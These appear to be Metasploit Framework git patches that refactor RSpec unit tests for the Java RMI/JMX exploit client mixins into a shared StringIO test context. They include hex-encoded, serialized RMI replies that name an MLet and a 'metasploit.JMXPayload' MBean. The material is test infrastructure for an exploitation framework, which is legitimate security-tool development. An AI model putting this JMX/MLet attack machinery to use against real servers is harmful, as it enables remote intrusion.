"\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + ) + seek(0) + end + end + # # lets # @@ -30,7 +53,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do } it "returns the reference information" do - expect(instance.send_new_client(sock: io)[:address]).to eq(remote_address) + expect(instance.send_new_client(sock: msf_io)[:address]).to eq(remote_address) end end end diff --git a/spec/support/shared/contexts/msf/string_io.rb b/spec/support/shared/contexts/msf/string_io.rb index c3fd7dfd3b..ae24f2cf5d 100644 --- a/spec/support/shared/contexts/msf/string_io.rb +++ b/spec/support/shared/contexts/msf/string_io.rb @@ -1,36 +1,22 @@ +require 'stringio' + RSpec.shared_context 'Msf::StringIO' do - let(:io) do + let(:msf_io) do StringIO.new('', 'w+b') end before(:each) do - def io.get_once + def msf_io.get_once read end - def io.has_read_data?(_timeout) + def msf_io.has_read_data?(_timeout) false end - def io.put(_data) + def msf_io.put(_data) seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + - "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + - "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + - "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + - "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + - "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + - "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + - "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + - "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + - "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + - "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" - ) + write(_data) seek(0) end end From 2041149d544dfa098a933145433d69a6db821481 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 12:38:19 -0600 Subject: [PATCH 1533/2172] Use Msf::StringIO in connection_spec --- .../java/rmi/client/jmx/connection_spec.rb | 45 +++++-------------- .../remote/java/rmi/client/jmx/server_spec.rb | 4 ++ spec/support/shared/contexts/msf/string_io.rb | 4 ++ 3 files changed, 20 insertions(+), 33 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 75e6e29541..4072a8dfc2 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -4,7 +4,6 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -require 'stringio' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do @@ -21,10 +20,10 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do mod end - let(:io) { StringIO.new('', 'w+b') } - describe "#send_jmx_get_object_instance" do context "when the object exists" do + include_context "Msf::StringIO" + # # lets # @@ -36,15 +35,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do # before(:each) do - def io.get_once - read - end - - def io.has_read_data?(_timeout) - false - end - - def io.put(_data) + def msf_io.put(_data) seek(0) write( "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + @@ -69,23 +60,17 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do end it "returns true" do - expect(mod.send_jmx_get_object_instance(sock: io, name: name_get)).to be_truthy + expect(mod.send_jmx_get_object_instance(sock: msf_io, name: name_get)).to be_truthy end end end describe "#send_jmx_create_mbean" do context "when the object is created successfully" do + include_context "Msf::StringIO" + before(:each) do - def io.get_once - read - end - - def io.has_read_data?(_timeout) - false - end - - def io.put(_data) + def msf_io.put(_data) seek(0) write( "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + @@ -110,13 +95,15 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do end it "returns true" do - expect(mod.send_jmx_create_mbean(sock: io, name: name_create)).to be_truthy + expect(mod.send_jmx_create_mbean(sock: msf_io, name: name_create)).to be_truthy end end end describe "#send_jmx_invoke" do context "when the remote method is called successfully" do + include_context "Msf::StringIO" + # # lets # @@ -134,15 +121,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do # before(:each) do - def io.get_once - read - end - - def io.has_read_data?(_timeout) - false - end - - def io.put(_data) + def msf_io.put(_data) seek(0) write( "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + @@ -170,7 +149,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do end it "returns true" do - expect(mod.send_jmx_invoke(invoke_args.merge(sock: io))).to be_truthy + expect(mod.send_jmx_invoke(invoke_args.merge(sock: msf_io))).to be_truthy end end end diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 221d6f2eef..42c08ef9b5 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -20,6 +20,10 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do context "when there is an RMIServerImpl_Stub interface" do include_context "Msf::StringIO" + # + # Callbacks + # + before(:each) do def msf_io.put(_data) seek(0) diff --git a/spec/support/shared/contexts/msf/string_io.rb b/spec/support/shared/contexts/msf/string_io.rb index ae24f2cf5d..6bc475919f 100644 --- a/spec/support/shared/contexts/msf/string_io.rb +++ b/spec/support/shared/contexts/msf/string_io.rb @@ -5,6 +5,10 @@ RSpec.shared_context 'Msf::StringIO' do StringIO.new('', 'w+b') end + # + # Callbacks + # + before(:each) do def msf_io.get_once read From 3d0fcdf84d6e6a98812508a37c602b33b7d410bf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 13:50:05 -0600 Subject: [PATCH 1534/2172] Add set_msf_data --- .../remote/java/rmi/client/jmx/server_spec.rb | 45 +++++++------------ spec/support/shared/contexts/msf/string_io.rb | 19 +++++++- 2 files changed, 35 insertions(+), 29 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 42c08ef9b5..92870220ac 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -20,34 +20,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do context "when there is an RMIServerImpl_Stub interface" do include_context "Msf::StringIO" - # - # Callbacks - # - - before(:each) do - def msf_io.put(_data) - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + - "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + - "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + - "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + - "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + - "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + - "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + - "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + - "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + - "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + - "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" - ) - seek(0) - end - end - # # lets # @@ -57,6 +29,23 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do } it "returns the reference information" do + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + + "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + + "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + + "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + + "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + + "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + + "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + + "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + ) expect(instance.send_new_client(sock: msf_io)[:address]).to eq(remote_address) end end diff --git a/spec/support/shared/contexts/msf/string_io.rb b/spec/support/shared/contexts/msf/string_io.rb index 6bc475919f..fc1d753595 100644 --- a/spec/support/shared/contexts/msf/string_io.rb +++ b/spec/support/shared/contexts/msf/string_io.rb @@ -1,6 +1,11 @@ require 'stringio' RSpec.shared_context 'Msf::StringIO' do + + # + # lets + # + let(:msf_io) do StringIO.new('', 'w+b') end @@ -10,6 +15,14 @@ RSpec.shared_context 'Msf::StringIO' do # before(:each) do + def msf_io.set_msf_data(data) + class << self + attr_accessor :msf_data + end + + self.msf_data = data + end + def msf_io.get_once read end @@ -20,7 +33,11 @@ RSpec.shared_context 'Msf::StringIO' do def msf_io.put(_data) seek(0) - write(_data) + if instance_variables.include?(:msf_data) + write(msf_data) + else + write(msf_data) + end seek(0) end end From 046a73b3b3a00df9a0553db0114dcc6cf9a9b3a5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 13:54:31 -0600 Subject: [PATCH 1535/2172] Use set_msf_data on connection_spec --- .../java/rmi/client/jmx/connection_spec.rb | 143 +++++++----------- 1 file changed, 57 insertions(+), 86 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 4072a8dfc2..203ef93d90 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -30,36 +30,25 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do let(:name_get) { 'DefaultDomain:type=MLet' } - # - # Callbacks - # - - before(:each) do - def msf_io.put(_data) - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + - "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + - "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + - "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + - "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + - "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + - "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + - "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + - "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + - "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + - "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + - "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + - "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + - "\x65\x3d\x4d\x4c\x65\x74\x78" - ) - seek(0) - end - end - it "returns true" do + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + ) expect(mod.send_jmx_get_object_instance(sock: msf_io, name: name_get)).to be_truthy end end @@ -69,32 +58,25 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do context "when the object is created successfully" do include_context "Msf::StringIO" - before(:each) do - def msf_io.put(_data) - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + - "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + - "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + - "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + - "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + - "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + - "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + - "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + - "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + - "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + - "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + - "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + - "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + - "\x65\x3d\x4d\x4c\x65\x74\x78" - ) - seek(0) - end - end - it "returns true" do + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + ) expect(mod.send_jmx_create_mbean(sock: msf_io, name: name_create)).to be_truthy end end @@ -116,39 +98,28 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do } end - # - # Callbacks - # - - before(:each) do - def msf_io.put(_data) - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + - "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + - "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + - "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + - "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + - "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + - "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + - "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + - "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + - "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + - "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + - "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + - "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + - "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + - "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + - "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + - "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + - "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" - ) - seek(0) - end - end - it "returns true" do + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + + "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + + "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + + "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + + "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + + "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + + "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + + "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + + "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + + "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + + "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + + "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + + "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + + "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" + ) expect(mod.send_jmx_invoke(invoke_args.merge(sock: msf_io))).to be_truthy end end From bc80bf7fdbaf25a8d6677c25b57eaac4c39b1c47 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 14:17:55 -0600 Subject: [PATCH 1536/2172] use Msf::StringIO on client_spec --- .../exploit/remote/java/rmi/client_spec.rb | 72 ++++--------------- spec/support/shared/contexts/msf/string_io.rb | 25 ++++--- 2 files changed, 30 insertions(+), 67 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb index 92de508daf..bdafc59d51 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb @@ -18,37 +18,23 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do end } - let(:io) { - StringIO.new('', 'w+b').tap do |string_io| - def string_io.get_once - read - end - - def string_io.has_read_data?(_timeout) - !eof? - end - - def string_io.put(data) - write data - end - end - } + include_context "Msf::StringIO" describe "#send_header" do it "returns the number of bytes sent" do - expect(instance.send_header(sock: io)).to eq(13) + expect(instance.send_header(sock: msf_io)).to eq(13) end end describe "#send_call" do it "returns the number of bytes sent" do - expect(instance.send_call(sock: io)).to eq(41) + expect(instance.send_call(sock: msf_io)).to eq(41) end end describe "#send_dgc_ack" do it "returns the number of bytes sent" do - expect(instance.send_dgc_ack(sock: io)).to eq(15) + expect(instance.send_dgc_ack(sock: msf_io)).to eq(15) end end @@ -58,40 +44,20 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } - let(:protocol_ack_io) { - StringIO.new(protocol_ack).tap do |string_io| - def string_io.get_once - read - end - - def string_io.has_read_data?(_timeout) - !eof? - end - end - } - it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do - expect(instance.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) + msf_io.pos = 0 + msf_io.string = protocol_ack + expect(instance.recv_protocol_ack(sock: msf_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) end end context "when end point returns protocol not supported" do let(:protocol_not_supported) { "\x4f" } - let(:protocol_not_supported_io) { - StringIO.new(protocol_not_supported).tap do |string_io| - def string_io.get_once - read - end - - def string_io.has_read_data?(_timeout) - !eof? - end - end - } - it "return nil" do - expect(instance.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil + msf_io.pos = 0 + msf_io.string = protocol_not_supported + expect(instance.recv_protocol_ack(sock: msf_io)).to be_nil end end end @@ -119,26 +85,16 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" end - let(:return_io) { - StringIO.new(return_data).tap do |string_io| - def string_io.get_once - read - end - - def string_io.has_read_data?(_timeout) - !eof? - end - end - } - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(instance.recv_return(sock: return_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue) + msf_io.pos = 0 + msf_io.string = return_data + expect(instance.recv_return(sock: msf_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue) end end context "when end point doesn't return a value to the call" do it "returns nil" do - expect(instance.recv_return(sock: io)).to be_nil + expect(instance.recv_return(sock: msf_io)).to be_nil end end end diff --git a/spec/support/shared/contexts/msf/string_io.rb b/spec/support/shared/contexts/msf/string_io.rb index fc1d753595..5f1699d76d 100644 --- a/spec/support/shared/contexts/msf/string_io.rb +++ b/spec/support/shared/contexts/msf/string_io.rb @@ -7,7 +7,14 @@ RSpec.shared_context 'Msf::StringIO' do # let(:msf_io) do - StringIO.new('', 'w+b') + s = StringIO.new('', 'w+b') + class << s + attr_accessor :msf_data + end + + s.msf_data = '' + + s end # @@ -16,10 +23,6 @@ RSpec.shared_context 'Msf::StringIO' do before(:each) do 